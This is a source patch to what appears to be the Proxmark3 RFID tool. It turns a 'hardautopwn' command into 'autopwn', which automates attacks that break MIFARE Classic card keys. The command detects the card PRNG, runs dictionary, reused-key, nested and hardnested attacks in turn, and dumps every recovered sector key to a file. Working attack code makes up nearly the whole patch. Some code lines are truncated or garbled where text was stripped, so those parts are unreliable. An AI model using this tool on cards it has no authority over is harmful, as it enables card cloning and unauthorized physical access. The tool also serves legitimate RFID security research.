From 7dbb5427eaf0b92d49be89ffed341d4fb5f46324 Mon Sep 17 00:00:00 2001 From: Matthias Konrath Date: Sat, 24 Aug 2019 18:11:03 +0200 Subject: [PATCH] Transformation from hardautopwn to autopwn, now are all the mifare classic attacks automated. --- client/cmdhfmf.c | 397 ++++++++++++++++++++++++++++++++--------------- 1 file changed, 271 insertions(+), 126 deletions(-) diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index e968548b6..460089151 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -166,20 +166,24 @@ static int usage_hf14_hardnested(void) { PrintAndLogEx(NORMAL, " hf mf hardnested 0 A A0A1A2A3A4A5 4 A FFFFFFFFFFFF"); return 0; } -static int usage_hf14_hardautopwn(void) { +static int usage_hf14_autopwn(void) { PrintAndLogEx(NORMAL, "Usage:"); - PrintAndLogEx(NORMAL, " hf mf hardautopwn [k] "); - PrintAndLogEx(NORMAL, " * [d] [f] [s] [i] [l]"); + PrintAndLogEx(NORMAL, " hf mf autopwn [k] "); + PrintAndLogEx(NORMAL, " [*] [f] .dic [s] [i] [l]"); PrintAndLogEx(NORMAL, " (card memory - 0 - MINI(320 bytes), 1 - 1K, 2 - 2K, 4 - 4K, - 1K)"); PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Description:"); + PrintAndLogEx(NORMAL, " This command is used to automate the attack process on mifare classic nfc cards."); + PrintAndLogEx(NORMAL, " The program tries to identify the prng type and then automatically attack it with the best algorithm."); + PrintAndLogEx(NORMAL, " If all the sector keys are broken, they will be dumped to a file."); + PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, " h this help"); PrintAndLogEx(NORMAL, " k if a known key for a block is supplied"); - PrintAndLogEx(NORMAL, " d write keys to binary file"); PrintAndLogEx(NORMAL, " f .dic dictionary file for key discovery (the file has to end in .dic)"); - PrintAndLogEx(NORMAL, " s slower acquisition (required by some non standard cards)"); + PrintAndLogEx(NORMAL, " s slower acquisition (required by some non standard cards) for hardnested"); PrintAndLogEx(NORMAL, " l legacy mode (use the slow mfchk for the key enumeration)"); - PrintAndLogEx(NORMAL, " i set type of SIMD instructions. Without this flag programs autodetect it."); + PrintAndLogEx(NORMAL, " i set type of SIMD instructions. Without this flag programs autodetect it. (for hardnested)"); PrintAndLogEx(NORMAL, " i 5 = AVX512"); PrintAndLogEx(NORMAL, " i 2 = AVX2"); PrintAndLogEx(NORMAL, " i a = AVX"); @@ -188,13 +192,11 @@ static int usage_hf14_hardautopwn(void) { PrintAndLogEx(NORMAL, " i n = none (use CPU regular instruction set)"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); - PrintAndLogEx(NORMAL, " hf mf hardautopwn d"); - PrintAndLogEx(NORMAL, " hf mf hardautopwn * 1 d f default_keys"); - PrintAndLogEx(NORMAL, " hf mf hardautopwn k 0 A FFFFFFFFFFFF d"); - PrintAndLogEx(NORMAL, " hf mf hardautopwn k 0 A FFFFFFFFFFFF * 1 d f default_keys"); - PrintAndLogEx(NORMAL, " hf mf hardautopwn k 0 A FFFFFFFFFFFF * 4 s i 5"); - - PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, " hf mf autopwn"); + PrintAndLogEx(NORMAL, " hf mf autopwn * 1 f default_keys"); + PrintAndLogEx(NORMAL, " hf mf autopwn k 0 A FFFFFFFFFFFF"); + PrintAndLogEx(NORMAL, " hf mf autopwn k 0 A FFFFFFFFFFFF * 1 f default_keys"); + PrintAndLogEx(NORMAL, " hf mf autopwn k 0 A FFFFFFFFFFFF * 4 i 5"); return 0; } static int usage_hf14_chk(void) { @@ -1562,58 +1564,52 @@ static int CmdHF14AMfNestedHard(const char *Cmd) { } -static int CmdHF14AMfHardAuto(const char *Cmd) { +static int CmdHF14AMfAutoPWN(const char *Cmd) { + // Nested and Hardnested parameter uint8_t blockNo = 0; uint8_t keyType = 0; - uint8_t *keyBlock; - uint8_t sectorsCnt = MIFARE_1K_MAXSECTOR; - sector_t *e_sector; uint8_t key[6] = {0}; - uint8_t tmpKey[6] = {0}; uint64_t key64 = 0; + // Attack key storage variables + uint8_t *keyBlock; uint16_t keycnt = 0; + sector_t *e_sector; + uint8_t sectorsCnt = MIFARE_1K_MAXSECTOR; + uint8_t tmpKey[6] = {0}; size_t datalen = 0; - uint32_t chunksize; - - uint64_t t1; // For the timier - uint8_t foundKeysDictionary = 0; - uint8_t foundKeysReused = 0; - uint8_t foundKeysHardnested = 0; - + // For the timier + uint64_t t1; + // Parameters and dictionary file char filename[FILE_PATH_SIZE] = {0}; uint8_t cmdp = 0; char ctmp; - + // Nested and Hardnested returned status uint64_t foundkey = 0; int16_t isOK = 0; - - int i, i2, i3; // Loop counter + // Loop counter + int i, i2, i3; int current_sector_i = 0, current_key_type_i = 0; - + // Settings bool slow = false; bool nonce_file_read = false; bool nonce_file_write = false; - bool createDumpFile = false; bool know_target_key = false; bool legacy_mfchk = false; - bool firstChunk = 0, lastChunk = 0; + bool prng_type = false; + bool calibrate = true; + // Parse the options given by the user ctmp = tolower(param_getchar(Cmd, 0)); - if (strlen(Cmd) < 1 || ctmp == 'h') return usage_hf14_hardautopwn(); - while ((ctmp = param_getchar(Cmd, cmdp))) { switch (tolower(ctmp)) { case 'h': - return usage_hf14_hardautopwn(); + return usage_hf14_autopwn(); case 'f': if (param_getstr(Cmd, cmdp +1, filename, FILE_PATH_SIZE) >= FILE_PATH_SIZE) { PrintAndLogEx(FAILED, "Filename too long"); } cmdp ++; break; - case 'd': - createDumpFile = true; - break; case 'l': legacy_mfchk = true; break; @@ -1684,20 +1680,6 @@ static int CmdHF14AMfHardAuto(const char *Cmd) { cmdp++; } - // Print parameters - PrintAndLogEx(NORMAL, "Used Parameters:"); - PrintAndLogEx(SUCCESS, "Dumping the found keys: %s", createDumpFile ? "True" : "False"); - PrintAndLogEx(SUCCESS, "Card sectors: %d", sectorsCnt); - PrintAndLogEx(SUCCESS, "Key supplied: %s", know_target_key ? "True" : "False"); - PrintAndLogEx(SUCCESS, "Known sector: %d", blockNo); - PrintAndLogEx(SUCCESS, "Keytype: %c", keyType ? 'B' : 'A'); - PrintAndLogEx(SUCCESS, "Kown key: 0x%02x%02x%02x%02x%02x%02x", key[0], key[1], key[2], key[3], key[4], key[5]); - PrintAndLogEx(SUCCESS, "Dictionary: %s", filename); - PrintAndLogEx(SUCCESS, "Legacy mode (mfchk): %s", legacy_mfchk ? "True" : "False"); - PrintAndLogEx(WARNING, "Starting attack!"); - if (know_target_key == false) - PrintAndLogEx(WARNING, "No known key was supplied, if no usable key is found in the dictionary, then this attack will fail!"); - // Create the key storage stucture e_sector = calloc(sectorsCnt, sizeof(sector_t)); if (e_sector == NULL) return PM3_EMALLOC; @@ -1709,9 +1691,74 @@ static int CmdHF14AMfHardAuto(const char *Cmd) { } } + // Get the card prng type (weak=true / hard=false) + prng_type = detect_classic_prng(); + + // Print operating parameters + PrintAndLogEx(SUCCESS, "[ SETTINGS ] Card sectors .. " _YELLOW_("%d"), sectorsCnt); + PrintAndLogEx(SUCCESS, "[ SETTINGS ] Key supplied .. " _YELLOW_("%s"), know_target_key ? "True" : "False"); + PrintAndLogEx(SUCCESS, "[ SETTINGS ] Known sector .. " _YELLOW_("%d"), blockNo); + PrintAndLogEx(SUCCESS, "[ SETTINGS ] Keytype ....... " _YELLOW_("%c"), keyType ? 'B' : 'A'); + PrintAndLogEx(SUCCESS, "[ SETTINGS ] Kown key ...... " _YELLOW_("0x%02x%02x%02x%02x%02x%02x"), key[0], key[1], key[2], key[3], key[4], key[5]); + PrintAndLogEx(SUCCESS, "[ SETTINGS ] Card PRNG ..... " _YELLOW_("%s"), prng_type ? "WEAK" : "HARD"); + PrintAndLogEx(SUCCESS, "[ SETTINGS ] Dictionary .... " _YELLOW_("%s"), strlen(filename) ? filename : "NONE"); + PrintAndLogEx(SUCCESS, "[ SETTINGS ] Legacy mode ... " _YELLOW_("%s"), legacy_mfchk ? "True" : "False"); + PrintAndLogEx(WARNING, "Starting attack!"); + + // Check the user supplied key + if (know_target_key == false) + PrintAndLogEx(WARNING, "No known key was supplied, the following attacks might fail!"); + else { + if (mfCheckKeys(FirstBlockOfSector(blockNo), keyType, true, 1, key, &key64) == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "[ SETTINGS ] The following key will be used to the nested / hardnested attack: Sector:" + _RED_("%3d") " key type:"_RED_("%c") " key: " _RED_("0x%02x%02x%02x%02x%02x%02x"), + blockNo, + keyType ? 'B' : 'A', + key[0], key[1], key[2], key[3], key[4], key[5]); + + // Store the key for the nested / hardnested attack (if supplied by the user) + e_sector[blockNo].Key[keyType] = bytes_to_num(key, 6); + e_sector[blockNo].foundKey[keyType] = 3; + } else { + know_target_key = false; + PrintAndLogEx(FAILED, "Key is wrong. Can't authenticate to sector:"_RED_("%3d") " key type:"_RED_("%c") " key: " _RED_("0x%02x%02x%02x%02x%02x%02x"), + blockNo, + keyType ? 'B' : 'A', + key[0], key[1], key[2], key[3], key[4], key[5]); + PrintAndLogEx(WARNING, "Let's see if just the sector or keytype are not correct, and then we also give the dictionary a try ;)"); + } + // Check if the user supplied key is used by other sectors + for (i=0; i just be nice and correct it ;) + if (know_target_key == false) { + num_to_bytes(e_sector[i].Key[i2], 6, key); + know_target_key = true; + blockNo = i; keyType = i2; + PrintAndLogEx(SUCCESS, "[ SETTINGS ] The following key will be used to the nested / hardnested attack: Sector:" + _RED_("%3d") " key type:"_RED_("%c") " key: " _RED_("0x%02x%02x%02x%02x%02x%02x"), + blockNo, + keyType ? 'B' : 'A', + key[0], key[1], key[2], key[3], key[4], key[5]); + } + } + } + } + } + } + // Load the dictionary if (strlen(filename) != 0) { - keyBlock = calloc(6 * 1000, sizeof(uint8_t)); + keyBlock = calloc(6 * 2000, sizeof(uint8_t)); loadFileDICTIONARY(filename, keyBlock, &datalen, 6, &keycnt); } else { keyBlock = calloc(ARRAYLEN(g_mifare_default_keys), 6); @@ -1726,6 +1773,7 @@ static int CmdHF14AMfHardAuto(const char *Cmd) { // Start the timer t1 = msclock(); + // Use the dictionary to find sector keys on the card PrintAndLogEx(SUCCESS, "Enumerating the card keys with the dictionary!"); if (legacy_mfchk) { // Check all the sectors @@ -1735,7 +1783,7 @@ static int CmdHF14AMfHardAuto(const char *Cmd) { if (e_sector[i].foundKey[i2] == 0) { for (i3=0; i3 (PM3_CMD_DATA_SIZE / 6) ? (PM3_CMD_DATA_SIZE / 6) : keycnt; - firstChunk = true; lastChunk = false; + int chunksize = keycnt > (PM3_CMD_DATA_SIZE / 6) ? (PM3_CMD_DATA_SIZE / 6) : keycnt; + bool firstChunk = true, lastChunk = false; for (uint8_t strategy = 1; strategy < 3; strategy++) { PrintAndLogEx(SUCCESS, "Running strategy %u", strategy); // main keychunk loop @@ -1774,45 +1822,82 @@ static int CmdHF14AMfHardAuto(const char *Cmd) { } // end strategy } - // Check if at least one key was recovered + // Analyse the dictionary attack for (i=0; i The fast check --> mfCheckKeys_fast(sectorsCnt, true, true, 2, 1, tmpKey, e_sector, false); + // Returns false keys, so we just stick to the slower mfchk. for (i=0; i try hardnested instead!"); + goto tryHardnested; + break; + case -4 : //key not found + calibrate = false; + PrintAndLogEx(FAILED, "Nested attack failed --> try hardnested instead!"); + goto tryHardnested; + break; + case -5 : + calibrate = false; + e_sector[current_sector_i].Key[current_key_type_i] = bytes_to_num(tmpKey, 6); + e_sector[current_sector_i].foundKey[current_key_type_i] = 5; break; default : + PrintAndLogEx(ERR, "unknown Error.\n"); + return 1; break; } - free(e_sector); - return 2; - } + } else { + tryHardnested: // If the nested attack failes then we try the hardnested attack + PrintAndLogEx(SUCCESS, "[ HARDNESTED ] Sector no:%3d, target key type:%c, Slow: %s", + current_sector_i, + current_key_type_i ? 'B' : 'A', + slow ? "Yes" : "No"); - // Copy the found key to the tmpKey variale (for the following print statement, and the mfCheckKeys above) - num_to_bytes(foundkey, 6, tmpKey); - e_sector[current_sector_i].Key[current_key_type_i] = foundkey; - e_sector[current_sector_i].foundKey[current_key_type_i] = 1; - PrintAndLogEx(SUCCESS, "[HARDNE. KEYS] Valid KEY FOUND: sector:%3d key type:%c key: " _YELLOW_("0x%02x%02x%02x%02x%02x%02x"), - current_sector_i, - current_key_type_i ? 'B' : 'A', - tmpKey[0], tmpKey[1], tmpKey[2], tmpKey[3], tmpKey[4], tmpKey[5]); - foundKeysHardnested++; + isOK = mfnestedhard(FirstBlockOfSector(blockNo), keyType, key, FirstBlockOfSector(current_sector_i), current_key_type_i, NULL, nonce_file_read, nonce_file_write, slow, 0, &foundkey, NULL); + DropField(); + if (isOK) { + switch (isOK) { + case 1 : + PrintAndLogEx(ERR, "Error: No response from Proxmark3.\n"); + break; + case 2 : + PrintAndLogEx(NORMAL, "Button pressed. Aborted.\n"); + break; + default : + break; + } + free(e_sector); + return 2; + } + + // Copy the found key to the tmpKey variale (for the following print statement, and the mfCheckKeys above) + num_to_bytes(foundkey, 6, tmpKey); + e_sector[current_sector_i].Key[current_key_type_i] = foundkey; + e_sector[current_sector_i].foundKey[current_key_type_i] = 6; + } + // Check if the key was found + if (e_sector[current_sector_i].foundKey[current_key_type_i] != 0) { + PrintAndLogEx(SUCCESS, "[BROCKEN KEY] Valid KEY FOUND: sector:%3d key type:%c key: " _YELLOW_("0x%02x%02x%02x%02x%02x%02x"), + current_sector_i, + current_key_type_i ? 'B' : 'A', + tmpKey[0], tmpKey[1], tmpKey[2], tmpKey[3], tmpKey[4], tmpKey[5]); + } else { + PrintAndLogEx(FAILED, "[BROCKEN KEY] Valid KEY NOT FOUND: sector:%3d key type:%c key: " _YELLOW_("0x%02x%02x%02x%02x%02x%02x"), + current_sector_i, + current_key_type_i ? 'B' : 'A', + tmpKey[0], tmpKey[1], tmpKey[2], tmpKey[3], tmpKey[4], tmpKey[5]); + } } } } } + // Show the results to the user + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "Found KEYS:"); printKeyTable(sectorsCnt, e_sector); - // Create a dumpfile - if (createDumpFile) { - PrintAndLogEx(SUCCESS, "\nDumping the found keys:"); - createKeyDump(sectorsCnt, e_sector, GenerateFilename("hf-mf-", "-key.bin")); - } + PrintAndLogEx(SUCCESS, "[ INFO ] Key res types:"); + PrintAndLogEx(SUCCESS, " 1: Dictionary"); + PrintAndLogEx(SUCCESS, " 2: Darkside attack"); + PrintAndLogEx(SUCCESS, " 3: User supplied"); + PrintAndLogEx(SUCCESS, " 4: Reused"); + PrintAndLogEx(SUCCESS, " 5: Nested"); + PrintAndLogEx(SUCCESS, " 6: Hardnested"); + // Generate and show statistics t1 = msclock() - t1; - PrintAndLogEx(SUCCESS, "Keys statistics (total: %d):" - "\n\t(*) Broken with hardnested attack: " _MAGENTA_("%d") - "\n\t(*) Reused keys: " _YELLOW_("%d") - "\n\t(*) Discovered with the dictionary: " _YELLOW_("%d") - , sectorsCnt*2, foundKeysHardnested, foundKeysReused, foundKeysDictionary); - PrintAndLogEx(SUCCESS, "Required time for the hardautopwn attack: " _YELLOW_("%.0f") " seconds\n", (float)t1 / 1000.0); + PrintAndLogEx(SUCCESS, "Required time for the autopwn attack: " _YELLOW_("%.0f") " seconds", (float)t1 / 1000.0); + + // Create a dumpfile if all keys are known + for (current_sector_i=0; current_sector_i < sectorsCnt; current_sector_i++) { + for (current_key_type_i=0; current_key_type_i < 2; current_key_type_i++) { + // If the key is already known, just skip it + if (e_sector[current_sector_i].foundKey[current_key_type_i] == 0) { + PrintAndLogEx(FAILED, "Not all keys were discovered --> no dump file will be created!"); + goto notAllKeysFound; + } + } + } + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "All keys were discovered, dumping them now:"); + createKeyDump(sectorsCnt, e_sector, GenerateFilename("hf-mf-", "-key.bin")); + notAllKeysFound: free(e_sector); - free(keyBlock); return 0; } @@ -3987,7 +4132,7 @@ static command_t CommandTable[] = { {"darkside", CmdHF14AMfDarkside, IfPm3Iso14443a, "Darkside attack. read parity error messages."}, {"nested", CmdHF14AMfNested, IfPm3Iso14443a, "Nested attack. Test nested authentication"}, {"hardnested", CmdHF14AMfNestedHard, AlwaysAvailable, "Nested attack for hardened Mifare cards"}, - {"hardautopwn", CmdHF14AMfHardAuto, AlwaysAvailable, "Nested attack for hardened Mifare cards that breaks all sector keys autmatically"}, + {"autopwn", CmdHF14AMfAutoPWN, AlwaysAvailable, "Automatic attack tool, to extrackt the nfc keys (with dicrionaries, nested and hardnested attacks)"}, {"keybrute", CmdHF14AMfKeyBrute, IfPm3Iso14443a, "J_Run's 2nd phase of multiple sector nested authentication key recovery"}, {"nack", CmdHf14AMfNack, IfPm3Iso14443a, "Test for Mifare NACK bug"}, {"chk", CmdHF14AMfChk, IfPm3Iso14443a, "Check keys"},